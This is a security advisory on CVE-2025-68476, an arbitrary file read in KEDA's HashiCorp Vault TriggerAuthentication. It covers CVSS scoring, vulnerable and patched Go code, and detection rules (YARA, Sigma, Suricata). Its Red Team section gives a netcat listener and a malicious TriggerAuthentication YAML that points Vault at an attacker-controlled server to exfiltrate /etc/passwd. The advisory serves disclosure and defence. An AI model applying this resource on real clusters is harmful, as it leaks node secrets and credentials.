CVE-2025-68476

Executive Summary

CVE-2025-68476 is a critical Arbitrary File Read vulnerability in KEDA (Kubernetes-based Event Driven Autoscaling), affecting versions prior to 2.17.3 and 2.18.3. The vulnerability resides in the TriggerAuthentication resource when configured with HashiCorp Vault authentication. An attacker with permissions to create or modify a TriggerAuthentication object can exploit insufficient path validation in the spec.hashiCorpVault.credential.serviceAccount field to read arbitrary files from the node's filesystem where the KEDA pod runs. This allows exfiltration of sensitive data, including secrets, keys, and system files like /etc/passwd, by directing the file content to an attacker-controlled server during the Vault authentication request. The vulnerability has been patched in versions 2.17.3 and 2.18.3.

Supply Chain & Package Security

KEDA is a Go-based component distributed as a container image. The vulnerability does not directly affect the supply chain of packages (NPM, PyPI, Go, Ruby), but it impacts the Kubernetes ecosystem. Organizations using KEDA should verify their deployment version and apply the patch immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
• Base Score: 7.7 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (requires ability to create/modify TriggerAuthentication)
• User Interaction: None
• Scope: Changed (confidentiality impact extends beyond the vulnerable component)
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The threat level is High due to the low complexity and potential for exfiltration of sensitive data from the node filesystem.

Deep Dive & Mechanics

The vulnerability is triggered when KEDA processes a TriggerAuthentication resource that uses HashiCorp Vault as a secret provider. The spec.hashiCorpVault.credential.serviceAccount field is intended to specify a path to a Service Account token file for Vault authentication. However, the path validation is insufficient, allowing an attacker to supply a path like /etc/passwd or /var/lib/kubelet/pki/kubelet.crt.

When KEDA attempts to authenticate with Vault, it reads the file specified in the serviceAccount field and sends its content as part of the authentication request. By setting up a rogue Vault server or a listener that captures the request, an attacker can exfiltrate the file content.

The attack flow:

1. Attacker creates or modifies a TriggerAuthentication resource with a malicious serviceAccount path.
2. KEDA operator reads the file at the specified path.
3. KEDA sends the file content to the Vault server (attacker-controlled) during authentication.
4. Attacker captures the file content.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 2.17.3/2.18.3):

// No path validation
func readServiceAccountToken(path string) (string, error) {
    data, err := ioutil.ReadFile(path)
    if err != nil {
        return "", err
    }
    return string(data), nil
}

Patched Code (2.17.3/2.18.3):

// Path validation added
func readServiceAccountToken(path string) (string, error) {
    // Ensure path is within allowed directory
    if !strings.HasPrefix(path, "/var/run/secrets/kubernetes.io/serviceaccount/") {
        return "", fmt.Errorf("invalid service account token path: %s", path)
    }
    data, err := ioutil.ReadFile(path)
    if err != nil {
        return "", err
    }
    return string(data), nil
}

The patch restricts the path to the standard Kubernetes service account token directory, preventing arbitrary file reads.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to create or modify TriggerAuthentication resources in a Kubernetes cluster.
• A listener server (e.g., netcat or a simple HTTP server) to capture the exfiltrated data.

Exploitation Steps:

1. Set up a rogue Vault server or a listener to capture authentication requests:

   nc -lvnp 8200
   

2. Create a malicious TriggerAuthentication resource:

   apiVersion: keda.sh/v1alpha1
   kind: TriggerAuthentication
   metadata:
     name: malicious-ta
   spec:
     hashiCorpVault:
       address: http://attacker-controlled-server:8200
       authentication: serviceAccount
       credential:
         serviceAccount: /etc/passwd
   

3. Apply the resource:

   kubectl apply -f malicious-ta.yaml
   

4. KEDA will read /etc/passwd and send it to the attacker's server.
5. Capture the file content on the listener.

Blue Team

Detection:

• Monitor TriggerAuthentication resources for unusual serviceAccount paths (e.g., paths outside /var/run/secrets/kubernetes.io/serviceaccount/).
• Alert on KEDA operator logs showing file read errors or unexpected paths.
• Use network monitoring to detect outbound connections to unknown Vault servers.

Hunting:

• Query Kubernetes audit logs for TriggerAuthentication create/update events.
• Check KEDA operator logs for readServiceAccountToken calls with suspicious paths.

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /etc/shadow, /var/lib/kubelet/pki/kubelet.crt, /var/lib/kubelet/pki/kubelet.key
• Network: Outbound connections from KEDA pods to unknown IPs on port 8200 (default Vault port)
• Kubernetes Resources: TriggerAuthentication objects with serviceAccount paths not starting with /var/run/secrets/kubernetes.io/serviceaccount/
• Logs: KEDA operator logs containing readServiceAccountToken with unexpected paths

Detection Engineering

YARA Rule

rule CVE_2025_68476_KEDA_Arbitrary_File_Read {
    meta:
        description = "Detects KEDA TriggerAuthentication resources with suspicious serviceAccount paths"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68476"
    strings:
        $s1 = "serviceAccount" nocase
        $s2 = "/etc/" nocase
        $s3 = "/var/lib/kubelet/" nocase
        $s4 = "/proc/" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4)
}

Sigma Rule

title: KEDA TriggerAuthentication Suspicious ServiceAccount Path
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects TriggerAuthentication resources with serviceAccount paths outside the allowed directory
author: Valters IT
date: 2025-04-10
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        verb: create
        objectRef.resource: triggerauthentications
        requestObject.spec.hashiCorpVault.credential.serviceAccount|startswith:
            - '/etc/'
            - '/var/lib/kubelet/'
            - '/proc/'
    condition: selection
falsepositives:
    - Legitimate use of custom service account token paths (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 8200 (msg:"CVE-2025-68476 KEDA Vault Authentication Exfiltration"; flow:to_server,established; content:"|0d 0a|"; within:100; content:"/etc/passwd"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade KEDA to version 2.17.3 or 2.18.3 (or later).
2. If upgrade is not possible, restrict permissions to create/modify TriggerAuthentication resources to trusted users only.
3. Implement network policies to limit outbound traffic from KEDA pods to known Vault servers.

Long-term Mitigations:

• Use Kubernetes admission controllers (e.g., OPA/Gatekeeper) to validate TriggerAuthentication resources and reject paths outside the allowed directory.
• Monitor KEDA operator logs for suspicious file read attempts.
• Regularly audit TriggerAuthentication resources in the cluster.

Patch Details:

• Patched in KEDA versions 2.17.3 and 2.18.3.
• The fix adds path validation to ensure the serviceAccount field only points to /var/run/secrets/kubernetes.io/serviceaccount/ directory.

Valters IT
Securing Kubernetes, One CVE at a Time